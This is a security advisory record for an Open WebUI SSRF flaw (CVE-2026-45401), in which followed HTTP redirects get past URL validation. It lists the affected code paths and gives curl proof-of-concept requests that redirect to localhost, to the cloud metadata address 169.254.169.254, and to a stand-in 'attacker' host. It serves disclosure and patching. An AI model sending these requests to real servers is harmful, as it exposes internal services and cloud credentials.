CVE-2026-45401: Open webui Open WebUI Has A SSRF Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rh5x-h6pp-cjj6",
  "modified" : "2026-05-15T23:55:35Z",
  "published" : "2026-05-14T20:27:14Z",
  "aliases" : [ "CVE-2026-45401" ],
  "summary" : "Open WebUI has a SSRF Bypass via HTTP Redirect Following in Web-Fetch and Image-Load Endpoints (not addressed by CVE-2025-65958)",
  "details" : "# Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints\n\n## Summary\n\nThe `validate_url()` function in `backend/open_webui/retrieval/web/utils.py` only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync `requests`, async `aiohttp`, langchain's `WebBaseLoader`) follow HTTP 3xx redirects by default and do **not** re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. `127.0.0.1`, `169.254.169.254`, RFC1918) and read the internal response body via the `/api/v1/retrieval/process/web` endpoint, the `/api/v1/images/...` endpoints, the `/api/chat/completions` endpoint with an `image_url` content part, and any other route that calls these helpers.\n\n## Affected code paths\n\nThe bypass exists across multiple call sites; each independently follows redirects without re-validation.\n\n### Path 1 — sync `_scrape` via `SafeWebBaseLoader`\n\n`backend/open_webui/retrieval/web/utils.py` — `SafeWebBaseLoader` inherits from `langchain_community.document_loaders.WebBaseLoader`. The parent's `_scrape()` calls `self.session.get(url, **self.requests_kwargs)`. `requests_kwargs` only sets `timeout`; `allow_redirects=False` is **not** passed, so `requests.Session.get()` follows redirects with the default `allow_redirects=True`. `validate_url()` is invoked once on the original URL only.\n\n### Path 2 — async `_fetch` (aiohttp)\n\n`backend/open_webui/retrieval/web/utils.py` — `_fetch()` previously inherited the aiohttp default `allow_redirects=True`. As of HEAD this path is fixed (`allow_redirects=False`). Listed for completeness.\n\n### Path 3 — `get_content_from_url` (sync `requests.get`)\n\n`backend/open_webui/retrieval/utils.py` — `response = requests.get(url, stream=True, timeout=30)`. No `allow_redirects=False`. Reached via `/api/v1/retrieval/process/web` (file ingestion) and other routers that resolve external URLs.\n\n### Path 4 — `load_url_image` (image edit)\n\n`backend/open_webui/routers/images.py` — image-URL fetching helper used by the image-edit endpoint. Same pattern: `validate_url()` checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via `/api/v1/images/edit`.\n\n### Path 5 — `get_image_base64_from_url` (chat-completion image inlining)\n\n`backend/open_webui/utils/files.py` — `get_image_base64_from_url()` is invoked from `convert_url_images_to_base64()` in `backend/open_webui/utils/middleware.py` on every `/api/chat/completions` request whose message content includes an `image_url` part. The shared aiohttp session pool (`backend/open_webui/utils/session_pool.py`) does not override the aiohttp default `allow_redirects=True`, and the call site itself does not pass `allow_redirects=False`. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message.\n\n## Proof of concept\n\nAuthenticated low-privilege user; default config, no admin or special permissions required.\n\n```bash\ncurl -X POST https://<target>/api/v1/retrieval/process/web \\\n  -H \"Authorization: Bearer <any_user_token>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302\"}'\n```\n\nResponse body contains the internal `/api/config` payload in `file.data.content`. Replace the redirect target with `http://169.254.169.254/latest/meta-data/` for cloud metadata, or any internal hostname reachable from the server.\n\nFor the chat-completion path (Path 5), the same redirect is followed when an `image_url` content part points to an attacker-controlled redirector:\n\n```bash\ncurl -X POST https://<target>/api/chat/completions \\\n  -H \"Authorization: Bearer <any_user_token>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"model\":\"any\",\"messages\":[{\"role\":\"user\",\"content\":[{\"type\":\"text\",\"text\":\"x\"},{\"type\":\"image_url\",\"image_url\":{\"url\":\"http://attacker/redirect-to-imdsv1\"}}]}]}'\n```\n\n## Impact\n\nAny authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.\n\n## Recommended fix\n\nFor every call site that follows redirects, set `allow_redirects=False` on the underlying HTTP client and add a per-hop validation loop using `validate_url()` on each `Location:` header.\n\n## Credits\n\nPer the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.\n\n- **tenbbughunters** — first to identify SafeWebBaseLoader sync `_scrape` (Path 1)\n- **YLChen-007** — first to identify `load_url_image` (Path 4)\n- **tempcollab** — first to identify aiohttp `_fetch` (Path 2)\n- **sneaXOR** — first to identify `get_content_from_url` (Path 3)\n- **nayakchinmohan** — first to identify `get_image_base64_from_url` in chat-completion middleware (Path 5)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.9.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-rh5x-h6pp-cjj6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45401"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-c6xv-rcvw-v685"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/releases/tag/v0.9.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T20:27:14Z",
    "nvd_published_at" : "2026-05-15T21:16:38Z"
  }
}